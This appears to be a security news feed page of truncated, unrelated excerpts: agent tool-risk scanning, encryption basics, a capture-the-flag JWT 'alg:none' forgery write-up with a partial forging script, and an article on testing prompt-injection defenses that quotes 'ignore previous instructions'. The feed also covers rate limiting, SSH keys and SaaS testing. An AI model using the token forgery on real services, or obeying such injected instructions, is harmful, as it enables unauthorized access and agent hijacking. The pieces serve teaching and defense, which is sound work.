标签：#security

When you give an LLM a tool, you hand it a real function and let it choose the arguments. Those tools are everything your agent can do to a real system: read a file, write to your database, send an email, run a shell command, delete data. They are your risk surface, and most teams have never looked at it in one place. So we did. We ran scan across a batch of popular open-source TypeScript AI agents. A few of the things it found, none of them exotic: A coding agent whose grep and glob tools, which sound read-only, actually shell out through execSync . Its bash tool passes a model-chosen string straight to spawn . Arbitrary command execution, behind three innocuous names. A query tool that fires an HTTP DELETE . A "query" that deletes. A calculator that runs eval on whatever the model types, in a widely-used agent framework. Arbitrary code execution behind the friendliest name in the box. A send-email tool that posts to an array of recipients, so the model chooses who gets mailed. The single most common finding, in almost every agent we scanned: a fetch tool aimed at whatever URL the model supplies. That is a door to your internal network (an SSRF surface). Notice the pattern. The dangerous tools are not named dangerous . They are named grep , query , calculator . A name is a claim. The code is the evidence. See your own agent's tools scan reads that evidence. One command, no install, no signup, no code change: npx @agentx-core/scan . It lists every tool the model can call and ranks each one by what it can do, from read-only up to destructive: 🔍 AGENTX SCAN (TypeScript · 3 files · 5 tools) =========================================================================== RISK TOOL GUARD WHY ---- ---- ------ ------------------------ high calculator yes calls `eval` lib/tools/compute.ts:4 high grep yes calls `execSync` lib/tools/system.ts:8 med sendEmail yes calls `mailer.send` lib/tools/io.ts:5 med fetchUrl yes outbound req to agent-controlled host (SSRF) lib/tools/io.ts:11 2

I’ve read the word “encrypted” on more apps than I can count, and most of the time it tells you almost nothing. Here’s what it really means, the way I’d explain it to a friend. Every app you use will tell you your data is encrypted. It’s on the login screen, the pricing page, the little padlock in the corner of the browser. And because it’s on everything, it’s stopped meaning much. I’ve spent more time on that one word than I’d care to admit, building a notes app where it actually has to be true, so here’s how I think about it. No maths. No padlock pictures. Underneath, encryption is an old and simple idea. You take a message, turn it into nonsense nobody can read, and make sure only the right person can turn it back. That’s the lot. Everything after that is detail about how good the nonsense is, and who’s allowed to undo it. The whole thing in one sentence Encryption takes something readable and mixes it into a mess that means nothing on its own. A matching key turns the mess back into the original. No key, and the mess stays a mess. The readable version is called plain-text. The mixed version is called cipher-text. That’s the entire vocabulary you need to know. Encryption turns plain-text into cipher-text, decryption is turning it back. A note is just text until you scramble it Say you’ve got a note on your phone, “dentist Thursday, 3pm”. Stored as it is, anyone who gets at the file reads it straight off. A thief with your unlocked phone. An app you handed too many permissions to. A company keeping a copy on its servers. All of them see “dentist Thursday, 3pm”. Encrypt it and that same note might sit on the disk as 9f2ac1b0e7..., a run of characters that means nothing. The appointment is still in there, in the sense that the right key brings it back, but on its own it tells a snoop nothing. Not the time, not the day, not that it was ever about a dentist. People reach for a padlock to explain this and I’ve never liked it. A padlock just stops you getting to the thi

Summary NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request. Recon Logged in as a normal user ( strawhat ) and captured the request to /famctf/dashboard : Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME Decoding the JWT: Header { "alg" : "HS256" , "typ" : "JWT" } Payload { "sub" : "strawhat" , "role" : "user" } The dashboard UI showed an "Admin Vault" card locked behind Admin only , confirming role was the authorization check. Attempt 1 - Naive tampering (failed) Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself. Attempt 2 - alg:none bypass (success) Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none , an attacker can forge any payload with zero knowledge of the signing secret. Forged header: { "alg" : "none" , "typ" : "JWT" } Forged payload: { "sub" : "strawhat" , "role" : "admin" } Forging Script import base64 , json def b64url ( data : bytes ) -> str : return base64 . urlsafe_b64encode ( data ). rstrip ( b ' = ' ). decode () header = { " alg " : " none " , " typ " : " JWT " } payload = { " sub " : " strawhat " , " role " : " admin " } h = b64url ( json . dumps ( header , separators = ( ' , ' , ' : ' )). encode ()) p = b64url ( json . dumps ( payload , separators = ( ' , ' ,

Plus: Russian cyberspies turn to infrastructure hacking, DHS repeatedly fails to realize it’d been hacked, a breach exposes an AI music generator’s scraping ways, and more.

If you prefer not to have cameras in and around your home, try one of these more private, WIRED-tested security devices.

I was tired of studying security tools from static cheatsheets, so I built ShellStack When I started prepping for CEH and doing more CTFs, I ran into the same wall over and over: every resource for learning offensive security tools was either a wall of text in a PDF, a GitHub gist with no context, or a cheatsheet that assumed you already knew what half the flags did. I didn't want notes. I wanted something that felt like sitting at an actual terminal — where I could browse tools, see real commands with context, and build the exact command I needed without digging through five tabs. So I built ShellStack . 🔗 Live: https://shell-stack.vercel.app/ 💻 Code: https://github.com/shlokkokk/ShellStack What it actually does ShellStack is a cybersecurity study platform built around one idea: learning security tools should feel operational, not passive. 280+ curated offensive security tools , organized into 19 categories, each with deep-dive docs — commands, common flags, when to use it, installation notes, and real examples Interactive command builders — instead of memorizing flag combos, you fill in a form and get a ready-to-copy command generated live 20 CEH-aligned learning modules , built for structured study instead of flipping through slides 1,000+ command cheat sheet with fast search and one-click copy A terminal-inspired UI that actually feels like a cyber-ops console instead of another docs site The build Stack: React 19, TypeScript, Vite, Tailwind CSS, GSAP, React Router, Radix UI primitives A few things I focused on: Search that actually ranks results. Early on, tool search was just naive string matching, which meant typing "nmap" could bury the actual Nmap entry under ten unrelated tools that happened to mention it in a description. I rebuilt it to weight exact and prefix matches higher, so the tool you're looking for shows up first, not buried on page 3. Command builders that don't feel like a form. The tricky part wasn't the UI, it was designing a data model that

“Context bombing” tricks malicious AI agents into shutting down before they can do harm.

Over the last few months I’ve noticed a pattern emerging across AI tools. Whether it’s Claude Skills, Cursor, Codex, or custom agent frameworks, we’re increasingly giving AI agents “skills”—packages containing instructions, documentation, and sometimes scripts. The problem is… A skill is usually just a Markdown file (plus some assets). Nothing tells you: Who created it. Whether it has been modified. Whether the version your AI is executing is the same one you reviewed yesterday. Whether someone quietly injected new instructions into it. As AI agents become capable of executing increasingly powerful workflows, that becomes a real supply-chain problem. So I built Skillerr. ⸻ What is Skillerr? Skillerr is an open-source protocol and CLI that adds trust and verification to AI skills before they’re executed. Instead of treating a skill as “just another folder,” Skillerr treats it as a verifiable package. It focuses on three things. Package Integrity Every packaged skill receives a unique content-derived identifier along with cryptographic SHA-256 hashes. If any file changes after packaging—even a single character—Skillerr detects it immediately. No silent modifications. ⸻ Structured Contracts Instead of relying on long paragraphs that an AI has to interpret, a Skill contains a structured contract describing: required inputs permissions forbidden actions expected outputs whether a human has actually reviewed it This makes skills easier for both humans and AI agents to reason about. ⸻ Optional Public Provenance Authors can cryptographically sign their skills. Optionally, the package digest can also be anchored into Sigstore’s transparency log, making it independently verifiable without trusting Skillerr itself. Importantly: Only cryptographic identifiers are published. No prompts. No documentation. No knowledge base. No proprietary content. ⸻ I tried to break my own tool Before releasing it, I intentionally attacked it. First I packaged and signed a simple CSV processing s

અમદાવાદમાં કાયદો અને વ્યવસ્થાના લીરેલીરા: ભાડજમાં શ્રીનિવાસ વણઝારાએ ખુલ્લેઆમ રિવોલ્વર લહેરાવી, લોકોમાં એટલો ખોફ કે કોઈ સાક્ષી આપવા કે સામે ઊભા રહેવા તૈયાર નથી! મધરાતે ધરપકડ બાદ રાતોરાત જામીન મળતા લોકોનો પોલીસ પરથી વિશ્વાસ ડગ્યો અમદાવાદ : શહેરમાં ગુનાખોરીની પ્રવૃત્તિઓ ડામવા માટે પોલીસ એક્શન મોડમાં હોવાના દાવાઓ વચ્ચે અમદાવાદના ભાડજ વિસ્તારમાંથી રૂવાડા ઊભા કરી દે તેવી ચોંકાવનારી ઘટના સામે આવી છે. મોડી રાત્રે 3 વાગ્યે શ્રીનિવાસ વણઝારાની સગીર મિત્ર સાથે અટકાયત અને ગણતરીના કલાકોમાં જ રાતોરાત પોલીસ સ્ટેશનથી મળેલા જામીન બાદ હવે આ કેસમાં વધુ એક ભયાનક વળાંક આવ્યો છે. ભાડજમાં ખુલ્લેઆમ રિવોલ્વર લહેરાવી મળતી માહિતી અને સૂત્રોના જણાવ્યા અનુસાર, જૂની અદાવતના મામલામાં શ્રીનિવાસ વણઝારાએ ભાડજ વિસ્તારમાં કાયદાનો કોઈ જ ડર રાખ્યા વિના ખુલ્લેઆમ પોતાની રિવોલ્વર લહેરાવી હતી. હાથમાં હથિયાર લઈને ફરતા અને રિવોલ્વર ફેરવતા શ્રીનિવાસ વણઝારાને જોઈને આસપાસના લોકોમાં ભારે નાસભાગ અને ફફડાટ મચી ગયો હતો. જાહેરમાં હથિયારના પ્રદર્શનથી આખા વિસ્તારમાં ગભરાટનો માહોલ છવાઈ ગયો હતો. લોકોમાં એટલો ડર કે કોઈ સાક્ષી આપવા તૈયાર નથી આ ઘટના બાદ ભાડજ વિસ્તારમાં રહેતા લોકોમાં શ્રીનિવાસ વણઝારાનો એટલો ભારે ખોફ બેસી ગયો છે કે કોઈ પણ વ્યક્તિ તેની સામે ઊભા રહીને સાક્ષી આપવા કે પોલીસને પુરાવા આપવા તૈયાર નથી. પોલીસ પૂછપરછમાં પણ સ્થાનિક લોકો ડરના માર્યા મૌન સેવી રહ્યા છે. "શ્રીનિવાસ વણઝારા જ ત્યાં હતા અને તેમણે જ રિવોલ્વરથી આતંક મચાવ્યો હતો" તેવી સાબિતી આપવા માટે વિસ્તારનો એક પણ વ્યક્તિ આગળ આવવાની હિંમત દાખવી રહ્યો નથી. સાક્ષીઓના અભાવે કેસ વધુ પેચીદો બની રહ્યો છે. પોલીસની કામગીરી અને જામીન પ્રક્રિયા પર સવાલો એક તરફ જૂની અદાવતમાં મારામારી અને ત્યારબાદ જાહેરમાં રિવોલ્વર સાથે ડર ફેલાવવાની ઘટના, અને બીજી તરફ 3 વાગ્યે થયેલી અટકાયત બાદ રાતોરાત પોલીસ સ્ટેશનમાંથી જામીન મળી જવા! આ સમગ્ર ઘટનાક્રમે પોલીસની કામગીરી સામે મોટા સવાલો ઊભા કર્યા છે. જ્યારે સામાન્ય જનતા સાક્ષી આપવા જ ડરી રહી હોય, ત્યારે કાયદાના રક્ષકો આ સમગ્ર મામલે કેવી રીતે દાખલો બેસાડશે તે એક મોટો પ્રશ્ન છે. હાલ તો ભાડજ વિસ્તારમાં ભારેલા અગ્નિ જેવી શાંતિ અને લોકોમાં ડરનો માહોલ સ્પષ્ટ જોવા મળી રહ્યો છે.

The most important SaaS workflows rarely stay inside one clean browser tab. A user starts on the application, opens an OAuth popup, completes MFA, returns to the original tab, receives an email, follows a verification link, and lands on a different domain. Their account belongs to one tenant, their data is stored in a particular region, and their locale changes the date format that the test expected. Each step may work in isolation. The complete journey still fails. That is why testing SaaS applications requires more than a collection of page-level tests. The real risk lives in the handoffs between systems, identities, windows, tenants, regions, and communication channels. Authentication is a state machine, not a login form A simple login test usually covers one path: Enter email and password. Submit. Reach the dashboard. Real authentication has many branches: OAuth consent already granted. OAuth consent required. Popup blocked. Identity provider opens in a new tab. MFA requested. MFA remembered on the device. Session expired during the handoff. User belongs to multiple organizations. Original tab resumes before the token is available. Callback lands on the wrong environment. This review of testing OAuth popups, MFA prompts, and cross-tab login handoffs with Endtest highlights the operational difficulty of these flows. Model authentication as a state machine. Record the expected transitions and test the failure paths between them. For example: Unauthenticated → OAuth opened → Provider authenticated → Callback received → Session created → Tenant selected → Application ready A test that only checks the last page cannot tell you where the handoff failed. Capture: Current window and newly opened windows. Redirect URLs and callback parameters. Cookie and storage changes. Network failures during token exchange. Visible provider errors. The tenant selected after authentication. Whether the original tab updates automatically or requires refresh. Multi-tenant testing must pr

AI-powered web applications look familiar on the surface. They have text boxes, buttons, menus, loading indicators, and API calls. That makes it tempting to test them like any other web application: submit an input, wait for a response, and compare the output with an expected string. That approach breaks quickly. Model output is variable. Safety behavior depends on context. A response can be semantically correct but displayed in the wrong conversation. An agent can produce a convincing final message after calling the wrong tool. A prompt-injection defense can block obvious attacks while failing when malicious instructions arrive through a webpage, document, image, or previous message. Testing these applications requires two kinds of evidence at the same time: Deterministic product evidence: the UI, state, permissions, tool calls, and workflow behaved correctly. Probabilistic model evidence: the output stayed within an acceptable range across repeated and adversarial inputs. Prompt injection is a workflow problem Prompt injection testing is often reduced to pasting “ignore previous instructions” into a chat box. That is a useful smoke test, but it does not represent how browser-based agents encounter untrusted content. An agent may read instructions from: A webpage. A support ticket. A PDF. A hidden DOM node. An email. A retrieved knowledge-base entry. A tool response. A previous conversation turn. The guide on testing prompt injection defenses in AI-powered browser workflows provides a good foundation. The test should verify more than the final sentence. It should inspect whether the agent: Treated external content as data rather than authority. Attempted a prohibited tool call. Exposed secrets in an intermediate step. Navigated to an unapproved domain. Changed its goal after reading untrusted content. Requested confirmation before a sensitive action. Preserved the original user instruction. A safe final answer does not prove that the workflow was safe. The agent ma

If every meeting, watercooler conversation, and date gets transcribed and summarized, who's actually reading any of it?

A newly renewed, $25 million-per-year contract with a subsidiary of Thompson Reuters further expands the power of ICE under the Trump administration.

Prosecutors accused 21-year-old student Zyaire Wilkins of publishing on Steam several fake video games that contained malware, infecting thousands of victims, and stealing crypto from some of them.

Some Amazon customers logged on Friday to a surprise bill estimate claiming that they owed the tech and cloud giant billions in fees.

TL;DR I checked 50 AI-generated login endpoints. Zero had rate limiting. Attackers can brute-force credentials at full speed against these routes. Adding a rate limiter takes four lines and one npm install. I asked Cursor to build a login route for a side project last month. Email, password, JWT back on success. It worked first try, passed my manual tests, and I moved on to the next feature. Three weeks later I ran a load test against it out of curiosity and hit the endpoint two thousand times in under a minute. Not one request got throttled. That's when I started pulling apart every AI-generated auth route I could find, mine and other people's open source side projects, and the pattern held everywhere I looked. The models write correct authentication logic and completely skip rate limiting, because rate limiting isn't part of "does this login work," it's part of "does this login survive contact with an attacker." The vulnerable code (CWE-307) Here's roughly what Cursor and Claude Code hand you when you ask for a login route: // ❌ No rate limiting - CWE-307: Improper Restriction of Excessive Authentication Attempts app . post ( ' /api/login ' , async ( req , res ) => { const { email , password } = req . body ; const user = await User . findOne ({ email }); if ( ! user || ! ( await bcrypt . compare ( password , user . passwordHash ))) { return res . status ( 401 ). json ({ error : ' Invalid credentials ' }); } const token = jwt . sign ({ id : user . id }, process . env . JWT_SECRET , { expiresIn : ' 1h ' }); res . json ({ token }); }); Password hashing is fine. JWT signing is fine. But nothing stops a script from hitting this route as fast as the network allows. No lockout, no delay, no cap on attempts per IP or per account. A credential-stuffing list with ten thousand leaked passwords runs against this endpoint in seconds. Why this keeps happening Rate limiting lives outside the function the model was asked to write. The prompt is "build a login endpoint," and it re

✍️ This post was written with two hands. The story — the first part — is Murilo's, lived and told by the person who was there. The technical manual , at the end, was written with AI. The split is intentional and marked in the text. Nothing hidden about the seam: part is human, part is machine, and the reader sees both. If you've ever managed or logged into a web server and never set up SSH keys, it's because you don't yet know the real risks of a break-in — and that's okay. Until you find out what can happen. Logging into a server over SSH with a username and password is like locking the front door of a house that faces the street, with nobody keeping watch. Anyone can try as many combinations as they want, freely. And setting this up takes almost as much time as typing a username and password — and it makes getting into the server much faster and easier afterwards. Ignorant of best practices, I managed my servers for a long time by typing: ssh user@server-ip password That nearly cost me dearly, the day I found out my server had been broken into. After that incident, I realized just how vulnerable a username and password are on SSH. Today I can't say I sleep soundly — no system is completely break-in proof — but I sleep a lot better (and honestly, I always slept well, until I started managing servers). Waking up on a fine Sunday morning to do some maintenance on the server, and finding out it was broken into through the front door because you left a combination padlock facing the street — that is not the kind of surprise I'd wish on anyone. I have a degree in Law. I worked for 15 years in the legal field at a public institution, until I decided to venture into the world of programming. And where did I end up? Managing systems at the institution I work for, after spending some time building automations in Python. Managing systems wasn't exactly what I had in mind when I wanted to learn to code and understand the world of programming. But that opportunity ended up tea

Introduction A Continuation of Shadow SCADA Terminal Velocity begins where Shadow SCADA left off — at the edge where digital audits meet the physical world. In the previous article, we explored how hidden infrastructures reveal themselves through aerial recon, magnetic anomalies, and environmental signals. Now we move deeper: into the physics of sensing, the light‑based pathways of diodes and photodiodes, and the high‑spec tools that transform invisible signals into readable intelligence. Modern audits are no longer limited to dashboards and logs. They extend into light, magnetic fields, environmental distortions, and sensor‑level truth — domains that traditional processes never touch. Section 1 – Diodes and Photodiodes: The First Gate of Physical Signals In modern audits, everything starts at the physical layer — where electricity and light move before any software or dashboard exists. Two tiny components sit at that gate: diodes and photodiodes. They look similar, but they do very different jobs. What is a diode? · One‑way valve for electricity: A diode lets electric current pass in one direction only, like a one‑way street. · Why this matters for security: Diodes are used to make sure information can leave a system but cannot come back in through the same path (for example, in SCADA or critical networks). · Simple image: Think of a diode as a door that only opens outward. You can exit, but nobody can enter through that door. What is a photodiode? · Sensor for light: A photodiode doesn’t control current—it detects light and turns that light into an electrical signal. · Where it’s used: In cameras, light sensors, security systems, and tools that “listen” to the environment through light. · Simple image: Think of a photodiode as a tiny eye that sees light and tells the system, “Something is shining here.” The key difference (in one sentence) · Diode = controls flow. · Photodiode = senses light. Diodes are about blocking or allowing. Photodiodes are about seeing and

The City Attorney’s Office sent the tech giants cease-and-desist letters this week telling them to stop profiting from 13 “face-swap” apps that are overwhelmingly used to target women and girls.

A few months ago, a founder posted about the SaaS he'd just shipped — built entirely with an AI coding assistant, not a line of it typed by hand. He was proud of it, and he had every right to be. Within days of launch, someone found the API key sitting in plain sight in the client-side code. It got used to bypass the paywall, spam the backend, and write garbage into the database. The founder spent the next stretch rotating every key, moving secrets into environment variables, and locking down the API endpoints that should have been locked down before anyone ever saw the site. Nothing about that story is about the AI being bad at its job. The AI did exactly what it was asked: build a working product, fast. Nobody asked it to think about what happens when a stranger opens dev tools. In the replies, someone made a simple point: AI is a great research aid, but shipping a large application still means understanding the code — copying and pasting isn't programming. The founder didn't push back. He agreed: he'd learned it the hard way. The same story, over and over Swap the platform and the same shape of story repeats. Here's the WordPress version — three separate, ordinary launches, three separate silent failures. A site goes live and Google never finds it. Somewhere in Settings → Reading, "Discourage search engines from indexing this site" got left checked — a setting every staging environment needs and every production site must not have. Nobody notices until weeks later, when someone asks why the brand-new site isn't showing up in search at all. A debug log sits in a predictable place, readable by anyone. wp-content/debug.log collects whatever errors WordPress throws — database credentials, API keys, fragments of user data — in plain text, at a URL automated scanners check within hours of a new site going live. Turning debug mode off doesn't delete the file it already wrote. The admin username is still admin . It's the default nobody bothered to change, and it happens